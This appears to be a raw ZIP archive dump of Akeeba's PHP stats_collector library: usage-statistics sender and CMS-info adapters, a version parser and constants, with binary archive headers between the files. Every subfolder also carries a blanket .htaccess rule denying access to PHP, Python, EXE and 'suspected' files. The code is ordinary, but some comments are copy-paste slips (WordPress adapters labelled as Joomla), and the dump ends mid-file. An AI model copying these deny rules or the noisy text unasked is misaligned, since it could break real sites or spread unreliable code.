namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Akeeba\Panopticon\Factory;
use Awf\Container\Container;

/**
 * Information Sending adapter for Akeeba Panopticon
 *
 * @since  1.0.0
 */
final class PanopticonAdapter extends AbstractAwfAdapter
{
	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		if (!class_exists(Factory::class))
		{
			return null;
		}

		return Factory::getContainer();
	}
}PK     \~    G  vendor/akeeba/stats_collector/src/Sender/Adapter/AbstractAwfAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Awf\Container\Container;
use Awf\Download\Download;

/**
 * Abstract Information Sending adapter for AWF-based software
 *
 * @since  1.0.0
 */
abstract class AbstractAwfAdapter implements AdapterInterface
{
	use ServerUrlTrait;

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return class_exists(Download::class) && $this->getContainer() !== null;
	}

	/**
	 * @inheritDoc
	 */
	public function sendStatistics(array $queryParameters): void
	{
		$download = new Download($this->getContainer());

		$timeout   = $this->getTimeout();
		$userAgent = $this->getUserAgent();

		if ($download->getAdapterName() === 'curl')
		{
			$download->setAdapterOptions(
				[
					CURLOPT_TIMEOUT   => $timeout,
					CURLOPT_USERAGENT => $userAgent,
				]
			);
		}
		elseif ($download->getAdapterName() === 'fopen')
		{
			$download->setAdapterOptions(
				[
					'http' => [
						'timeout'    => (float) $timeout,
						'user_agent' => $userAgent,
					],
				]
			);
		}

		$download->getFromURL($this->getUrl($queryParameters));
	}

	/**
	 * Get the AWF Container for the current application
	 *
	 * @return  Container|null
	 * @since   1.0.0
	 */
	abstract protected function getContainer(): ?Container;

}PK     \z3ª    B  vendor/akeeba/stats_collector/src/Sender/Adapter/JoomlaAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Joomla\Http\HttpFactory;

/**
 * Information Sending adapter for Joomla sites, version 4 or later
 *
 * @since  1.0.0
 */
final class JoomlaAdapter implements AdapterInterface
{
	use ServerUrlTrait;

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return defined('_JEXEC')
		       && version_compare(JVERSION, '4.0.0', 'ge');
	}

	/**
	 * @inheritDoc
	 */
	public function sendStatistics(array $queryParameters): void
	{
		$factory = new HttpFactory();
		$http    = $factory->getHttp(
			[
				'follow_location' => true,
				'userAgent'       => $this->getUserAgent(),
				'timeout'         => $this->getTimeout(),
			]
		);

		$http->get($this->getUrl($queryParameters));
	}
}PK     \6<R  R  Q  vendor/akeeba/stats_collector/src/Sender/Adapter/AkeebaBackupWordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Awf\Container\Container;

/**
 * Information Sending adapter for Akeeba Backup for WordPress
 *
 * @since  1.0.0
 */
final class AkeebaBackupWordPressAdapter extends AbstractAwfAdapter
{
	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		global $akeebaBackupWordPressContainer;

		return $akeebaBackupWordPressContainer ?? null;
	}
}PK     \Sʉ      :  vendor/akeeba/stats_collector/src/Sender/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \XY  Y  D  vendor/akeeba/stats_collector/src/Sender/Adapter/DarkLinkAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender\Adapter;

use Akeeba\DarkLink\Factory;
use Awf\Container\Container;

/**
 * Information Sending adapter for Akeeba DarkLink
 *
 * @since  1.0.0
 */
final class DarkLinkAdapter extends AbstractAwfAdapter
{
	/** @inheritDoc */
	protected function getContainer(): ?Container
	{
		if (!class_exists(Factory::class))
		{
			return null;
		}

		return Factory::getContainer();
	}
}PK     \WV	  V	  3  vendor/akeeba/stats_collector/src/Sender/Sender.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Sender;

use Akeeba\UsageStats\Collector\Sender\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\Sender\Adapter\AkeebaBackupWordPressAdapter;
use Akeeba\UsageStats\Collector\Sender\Adapter\AkeebaSoloAdapter;
use Akeeba\UsageStats\Collector\Sender\Adapter\DarkLinkAdapter;
use Akeeba\UsageStats\Collector\Sender\Adapter\JoomlaAdapter;
use Akeeba\UsageStats\Collector\Sender\Adapter\PanopticonAdapter;
use Akeeba\UsageStats\Collector\Sender\Adapter\WordPressAdapter;

class Sender
{
	private const ADAPTERS = [
		JoomlaAdapter::class,
		AkeebaBackupWordPressAdapter::class,
		AkeebaSoloAdapter::class,
		WordPressAdapter::class,
		DarkLinkAdapter::class,
		PanopticonAdapter::class,
	];

	/**
	 * The adapter to get the site's URL
	 *
	 * @var   null|AdapterInterface
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * The URL to send the statistics to
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $serverUrl;

	/**
	 * The request timeout for sending the usage statistics, in seconds
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $timeout;

	public function __construct(string $serverUrl, int $timeout)
	{
		$this->serverUrl = $serverUrl;
		$this->timeout   = $timeout;
	}

	/**
	 * Send the usage statistics information to the server
	 *
	 * @param   array  $queryParameters  The information to send
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function sendStatistics(array $queryParameters): void
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return;
		}

		$adapter->sendStatistics($queryParameters);
	}

	/**
	 * Get the appropriate adapter for sending statistics to the server
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			$o->setServerUrl($this->serverUrl);
			$o->setTimeout($this->timeout);

			return $this->adapter = $o;
		}

		return null;
	}
}PK     \Sʉ      2  vendor/akeeba/stats_collector/src/Sender/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \m	  	  ;  vendor/akeeba/stats_collector/src/LegacyShim/HashHelper.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\LegacyShim;

/**
 * PHP 8.4+ workaround for standalone MD5 and SHA-1 functions.
 *
 * PHP 8.4 deprecates the standalone md5(), md5_file(), sha1(), and sha1_file() functions. This trait creates shims
 * which use the hash() and hash_file() functions instead where available.
 *
 * IMPORTANT! PHP 7.4 made the ext/hash extension mandatory. These shims are here only as a backwards compatibility aid.
 * Eventually, we need to remove them, replacing their use by the direct use of hash() and hash_file().
 *
 * @deprecated 2.0
 */
class HashHelper
{
	/**
	 * @deprecated 2.0 Use hash() instead
	 */
	public static function md5($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash('md5', $string, $binary) : md5($string, $binary);
	}

	/**
	 * @deprecated 2.0 Use hash() instead
	 */
	public static function sha1($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash('sha1', $string, $binary) : sha1($string, $binary);
	}

	/**
	 * @deprecated 2.0 Use hash_file() instead
	 */
	public static function md5_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash_file('md5', $filename, $binary) : md5_file($filename, $binary);
	}

	/**
	 * @deprecated 2.0 Use hash_file() instead
	 */
	public static function sha1_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash_file('sha1', $filename, $binary) : sha1_file($filename, $binary);
	}
}PK     \Sʉ      6  vendor/akeeba/stats_collector/src/LegacyShim/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \o|i^&  ^&  5  vendor/akeeba/stats_collector/src/Version/Version.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Version;

/**
 * Version manipulation library
 *
 * Based on VersionParser by Sebastian Mordziol <s.mordziol@mistralys.eu>
 *
 * The original code carries the following copyright notice:
 * ====== ORIGINAL COPYRIGHT NOTICE START ======
 * MIT License
 *
 * Copyright (c) 2020 Mistralys
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 * ====== ORIGINAL COPYRIGHT NOTICE END ======
 *
 * @since 1.0.0
 */
final class Version
{
	const TAG_TYPE_NONE = 'none';

	const TAG_TYPE_DEV = 'dev';

	const TAG_TYPE_BETA = 'beta';

	const TAG_TYPE_ALPHA = 'alpha';

	const TAG_TYPE_RELEASE_CANDIDATE = 'rc';

	/**
	 * The version number we are processing
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $version;

	/**
	 * The literal tag (qualifiers) of this version
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $tag = '';

	/**
	 * The parts the version number consists of
	 *
	 * @var   array
	 * @since 1.0.0
	 */
	private $parts = [];

	/**
	 * The normalised tag of this version
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $tagType = self::TAG_TYPE_NONE;

	/**
	 * The sub-minor version number in the tag
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $tagNumber = 0;

	/**
	 * The branch name, if present in the version string
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $branchName = '';

	/**
	 * Internal map of tag weights
	 *
	 * @var   array|int[]
	 * @since 1.0.0
	 */
	private $tagWeights = [
		self::TAG_TYPE_DEV               => 8,
		self::TAG_TYPE_ALPHA             => 6,
		self::TAG_TYPE_BETA              => 4,
		self::TAG_TYPE_RELEASE_CANDIDATE => 2,
		self::TAG_TYPE_NONE              => 0,
	];

	/**
	 * Public constructor
	 *
	 * @param   string  $version  The version to parse
	 *
	 * @since   1.0.0
	 */
	public function __construct(string $version)
	{
		$this->version = $version;

		$this->parse();
		$this->postParse();
	}

	/**
	 * Major version, e.g. 1 for 1.2.3.4-beta4
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function major(): int
	{
		return $this->parts[0];
	}

	/**
	 * Minor version, e.g. 2 for 1.2.3.4-beta4
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function minor(): int
	{
		return $this->parts[1];
	}

	/**
	 * Patch version, e.g. 3 for 1.2.3.4-beta4
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function patch(): int
	{
		return $this->parts[2];
	}

	/**
	 * Returns the normalised full version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function fullVersion(): string
	{
		$version = $this->version;

		if (!$this->hasTag())
		{
			return $version;
		}

		return $version . '-' . $this->tag();
	}

	/**
	 * Returns the short version (x.y.z)
	 *
	 * @param   bool  $forceThreeParts  To force three parts, even if minor and patch are zero
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function shortVersion(bool $forceThreeParts = false): string
	{
		$keep = [];

		if ($forceThreeParts || $this->parts[2] > 0)
		{
			$keep = $this->parts;
		}
		elseif ($this->parts[1] > 0)
		{
			$keep = [$this->parts[0], $this->parts[1]];
		}
		else
		{
			$keep = [$this->parts[0]];
		}

		return implode('.', $keep);
	}

	/**
	 * Returns the version family, e.g. 1.2
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function versionFamily(): string
	{
		return implode('.', [$this->major(), $this->minor()]);
	}

	/**
	 * Returns the tag of the parsed version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function tag(): string
	{
		return $this->tag;
	}

	/**
	 * Does the version have a tag?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function hasTag(): bool
	{
		return !empty($this->tag);
	}

	/**
	 * The type of the version tag
	 *
	 * @return  string
	 * @since   1.0.0
	 *
	 * @see     self::TAG_TYPE_NONE
	 * @see     self::TAG_TYPE_DEV
	 * @see     self::TAG_TYPE_ALPHA
	 * @see     self::TAG_TYPE_BETA,
	 * @see     self::TAG_TYPE_RELEASE_CANDIDATE
	 */
	public function tagType(): string
	{
		return $this->tagType;
	}

	/**
	 * The number in the tag, if one exists
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function tagNumber(): int
	{
		return $this->tagNumber;
	}

	/**
	 * Is this a beta version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isBeta(): bool
	{
		return $this->tagType() === self::TAG_TYPE_BETA;
	}

	/**
	 * Is this an alpha version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAlpha(): bool
	{
		return $this->tagType() === self::TAG_TYPE_ALPHA;
	}

	/**
	 * Is this a Release Candidate version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isRC(): bool
	{
		return $this->tagType() === self::TAG_TYPE_RELEASE_CANDIDATE;
	}

	/**
	 * Is this a Development version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isDev(): bool
	{
		return $this->tagType() === self::TAG_TYPE_DEV;
	}

	/**
	 * Is this a stable version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isStable(): bool
	{
		return $this->tagType() === self::TAG_TYPE_NONE;
	}

	/**
	 * Is this a testing (dev, alpha, beta, RC) version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isTesting(): bool
	{
		return !$this->isStable();
	}

	/**
	 * Is a branch name present in the version?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function hasBranch(): bool
	{
		return !empty($this->branchName);
	}

	/**
	 * The branch name of the version string
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function branchName(): string
	{
		return $this->branchName;
	}

	/**
	 * Parse the version number
	 *
	 * @internal
	 * @return  void
	 * @since   1.0.0
	 */
	private function parse(): void
	{
		$parts = explode('.', $this->extractTag());
		$parts = array_map('trim', $parts);

		while (count($parts) < 3)
		{
			$parts[] = 0;
		}

		for ($i = 0; $i < 3; $i++)
		{
			$this->parts[] = intval($parts[$i]);
		}
	}

	/**
	 * Extract the tag from the version
	 *
	 * @internal
	 * @return  string
	 * @since   1.0.0
	 */
	private function extractTag(): string
	{
		$version = $this->version;
		$version = str_replace('_', '-', $version);

		$hyphen = strpos($version, '-');

		if ($hyphen !== false)
		{
			$tag     = substr($version, $hyphen + 1);
			$version = substr($version, 0, $hyphen);
			$this->parseTag($tag);
		}

		return $version;
	}

	/**
	 * Runs after parsing the version number
	 *
	 * @internal
	 * @return  void
	 * @since   1.0.0
	 */
	private function postParse(): void
	{
		$this->tag = $this->normalizeTag();
	}

	/**
	 * Normalises the tag representation
	 *
	 * @internal
	 * @return  string
	 * @since   1.0.0
	 */
	private function normalizeTag(): string
	{
		if ($this->tagType === self::TAG_TYPE_NONE)
		{
			return $this->branchName();
		}

		$tag = $this->tagType;

		if ($this->tagNumber > 1)
		{
			$tag .= $this->tagNumber;
		}

		if ($this->hasBranch())
		{
			$tag = $this->branchName() . '-' . $tag;
		}

		return $tag;
	}

	/**
	 * Returns the formatted tag number
	 *
	 * @internal
	 * @return  string
	 * @since   1.0.0
	 */
	private function formatTagNumber(): string
	{
		$positions = 2 * 3;
		$weight    = $this->tagWeights[$this->tagType()];

		if ($weight > 0)
		{
			$number = sprintf('%0' . $weight . 'd', $this->tagNumber);
			$number = str_pad($number, $positions, '0', STR_PAD_RIGHT);

			$number = intval(str_repeat('9', $positions)) - intval($number);

			return '.' . $number;
		}

		return '';
	}

	/**
	 * Parse the tag specified in the version
	 *
	 * @param   string  $tag
	 *
	 * @internal
	 * @return  void
	 * @since   1.0.0
	 */
	private function parseTag(string $tag): void
	{
		$parts = explode('-', $tag);

		foreach ($parts as $part)
		{
			$this->parseTagPart($part);
		}

		if ($this->tagNumber === 0)
		{
			$this->tagNumber = 1;
		}

		if ($this->tagType === self::TAG_TYPE_NONE)
		{
			$this->tagNumber = 0;
		}
	}

	/**
	 * Parse a part of the tag specified in the version
	 *
	 * @param   string  $part
	 *
	 * @internal
	 * @return  void
	 * @since   1.0.0
	 */
	private function parseTagPart(string $part): void
	{
		if (is_numeric($part))
		{
			$this->tagNumber = intval($part);

			return;
		}

		$types = array_keys($this->tagWeights);
		$type  = '';
		$lower = strtolower($part);

		foreach ($types as $tagType)
		{
			if (strstr($lower, $tagType))
			{
				$type = $tagType;
				$part = str_replace($tagType, '', $lower);
			}
		}

		if (empty($type))
		{
			if (!empty($part))
			{
				$this->branchName = $part;
			}

			return;
		}

		$this->tagType = $type;

		if (is_numeric($part))
		{
			$this->tagNumber = intval($part);
		}
	}
}
PK     \Sʉ      3  vendor/akeeba/stats_collector/src/Version/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \3/2  2  <  vendor/akeeba/stats_collector/src/Constants/DatabaseType.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Constants;

/**
 * Database Types known to Akeeba Usage Stats
 *
 * @since  1.0.0
 */
final class DatabaseType
{
	public const UNKNOWN = 0;

	public const MYSQL = 1;

	/** @deprecated */
	public const SQLSERVER = 2;

	/** @deprecated */
	public const POSTGRESQL = 3;

	public const MARIADB = 4;

	/** @deprecated */
	public const SQLITE = 5;
}PK     \#&
  
  <  vendor/akeeba/stats_collector/src/Constants/SoftwareType.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Constants;

/**
 * Software Types known to Akeeba Usage Stats
 *
 * @since  1.0.0
 */
final class SoftwareType
{
	public const AB_JOOMLA_CORE = 1;

	public const AB_JOOMLA_PRO = 2;

	public const AT_JOOMLA_CORE = 3;

	public const AT_JOOMLA_PRO = 4;

	public const SOLO_CORE = 5;

	public const SOLO_PRO = 6;

	public const AB_WP_CORE = 7;

	public const AB_WP_PRO = 8;

	public const ATS_JOOMLA_CORE = 9;

	public const ATS_JOOMLA_PRO = 10;

	public const ARS_JOOMLA = 11;

	public const DOCIMPORT_JOOMLA = 12;

	public const AKEEBASUBS_JOOMLA = 13;

	public const CMSUPDATE_JOOMLA = 14;

	public const AT_WP_PRO = 15;

	public const AT_WP_CORE = 16;

	public const PANOPTICON = 17;

	public const DARKLINK = 18;

	/**
	 * Get the correct software type code depending on whether it is Core or Professional
	 *
	 * @param   int   $softwareType  The software type; either a core or pro type will do
	 * @param   bool  $isPro         Is this the Pro version?
	 *
	 * @return  int  The software type you should be using
	 */
	public static function changeCoreOrPro(int $softwareType, bool $isPro = false): int
	{
		if (in_array($softwareType, [self::AB_JOOMLA_CORE, self::AB_JOOMLA_PRO]))
		{
			return $isPro ? self::AB_JOOMLA_PRO : self::AB_JOOMLA_CORE;
		}

		if (in_array($softwareType, [self::AT_JOOMLA_CORE, self::AT_JOOMLA_PRO]))
		{
			return $isPro ? self::AT_JOOMLA_PRO : self::AT_JOOMLA_CORE;
		}

		if (in_array($softwareType, [self::SOLO_CORE, self::SOLO_PRO]))
		{
			return $isPro ? self::SOLO_PRO : self::SOLO_CORE;
		}

		if (in_array($softwareType, [self::AB_WP_CORE, self::AB_WP_PRO]))
		{
			return $isPro ? self::AB_WP_PRO : self::AB_WP_CORE;
		}

		if (in_array($softwareType, [self::ATS_JOOMLA_CORE, self::ATS_JOOMLA_PRO]))
		{
			return $isPro ? self::ATS_JOOMLA_PRO : self::ATS_JOOMLA_CORE;
		}

		if (in_array($softwareType, [self::AT_WP_PRO, self::AT_WP_CORE]))
		{
			return $isPro ? self::AT_WP_PRO : self::AT_WP_CORE;
		}

		return $softwareType;
	}

	public static function getCMSType(int $softwareType): int
	{
		if (in_array(
			$softwareType,
			[
				self::AB_JOOMLA_CORE,
				self::AB_JOOMLA_PRO,
				self::AT_JOOMLA_CORE,
				self::AT_JOOMLA_PRO,
				self::ATS_JOOMLA_PRO,
				self::ATS_JOOMLA_CORE,
				self::ARS_JOOMLA,
				self::DOCIMPORT_JOOMLA,
				self::AKEEBASUBS_JOOMLA,
				self::CMSUPDATE_JOOMLA,
			]
		))
		{
			return CmsType::JOOMLA;
		}

		if (in_array(
			$softwareType,
			[
				self::AB_WP_CORE,
				self::AB_WP_PRO,
				self::AT_WP_CORE,
				self::AT_WP_PRO,
			]
		))
		{
			return CmsType::WORDPRESS;
		}

		return CmsType::STANDALONE;
	}
}PK     \]	v    7  vendor/akeeba/stats_collector/src/Constants/CmsType.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Constants;

/**
 * CMS Types known to Akeeba Usage Stats
 *
 * @since  1.0.0
 */
final class CmsType
{
	/** @deprecated */
	public const OLD_STANDALONE = 0;

	public const JOOMLA = 1;

	public const WORDPRESS = 2;

	/** @deprecated */
	public const CLASSICPRESS = 3;

	public const STANDALONE = 4;
}PK     \Sʉ      5  vendor/akeeba/stats_collector/src/Constants/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \,Y    5  vendor/akeeba/stats_collector/src/CmsInfo/CmsInfo.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CmsInfo;

use Akeeba\UsageStats\Collector\CmsInfo\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\CmsInfo\Adapter\JoomlaAdapter;
use Akeeba\UsageStats\Collector\CmsInfo\Adapter\WordPressAdapter;
use Akeeba\UsageStats\Collector\CmsInfo\Adapter\WordPressEarlyAdapter;
use Akeeba\UsageStats\Collector\Constants\CmsType;

final class CmsInfo
{
	private const ADAPTERS = [
		JoomlaAdapter::class,
		WordPressAdapter::class,
		WordPressEarlyAdapter::class,
	];

	/**
	 * The adapter for getting CMS information
	 *
	 * @var   AdapterInterface|null
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * Get the CMS type
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function getType(): int
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return CmsType::STANDALONE;
		}

		return $adapter->getType();
	}

	/**
	 * Get the CMS version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getVersion(): string
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return '0.0.0';
		}

		return $adapter->getVersion();
	}

	/**
	 * Get the appropriate adapter for getting CMS information
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			return $this->adapter = $o;
		}

		return null;
	}

}PK     \eN  N  F  vendor/akeeba/stats_collector/src/CmsInfo/Adapter/WordPressAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CmsInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\CmsType;

/**
 * Collect CMS information adapter for Joomla sites, version 4 and later
 */
final class WordPressAdapter implements AdapterInterface
{

	/** @inheritDoc */
	public function getType(): int
	{
		if (function_exists('classicpress_version'))
		{
			return CmsType::CLASSICPRESS;
		}

		return CmsType::WORDPRESS;
	}

	/** @inheritDoc */
	public function getVersion(): string
	{
		return get_bloginfo();
	}

	/** @inheritDoc */
	public function isAvailable(): bool
	{
		global $wp_version;

		return defined('WPINC') && function_exists('get_bloginfo');
	}
}PK     \    F  vendor/akeeba/stats_collector/src/CmsInfo/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CmsInfo\Adapter;

/**
 * Adapter interface for reporting the CMS type and its version
 *
 * @since  1.0.0
 */
interface AdapterInterface
{
	/**
	 * Get the CMS type
	 *
	 * @return  int
	 * @since   1.0.0
	 */
	public function getType(): int;

	/**
	 * Get the CMS version
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getVersion(): string;

	/**
	 * Is the adapter available under the current environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;
}PK     \ Gy  y  K  vendor/akeeba/stats_collector/src/CmsInfo/Adapter/WordPressEarlyAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\CmsInfo\Adapter;

use Akeeba\UsageStats\Collector\Constants\CmsType;
use Throwable;

/**
 * Collect CMS information adapter for Joomla sites, version 4 and later
 */
final class WordPressEarlyAdapter implements AdapterInterface
{

	/** @inheritDoc */
	public function getType(): int
	{
		if (function_exists('classicpress_version'))
		{
			return CmsType::CLASSICPRESS;
		}

		return CmsType::WORDPRESS;
	}

	/** @inheritDoc */
	public function getVersion(): string
	{
		return $this->getWPVersion() ?? '0.0.0';
	}

	/** @inheritDoc */
	public function isAvailable(): bool
	{
		return defined('WPINC') && defined('ABSPATH') && $this->getWPVersion() !== false;
	}

	/**
	 * Try to get the WordPress version by including its version.php file directly.
	 *
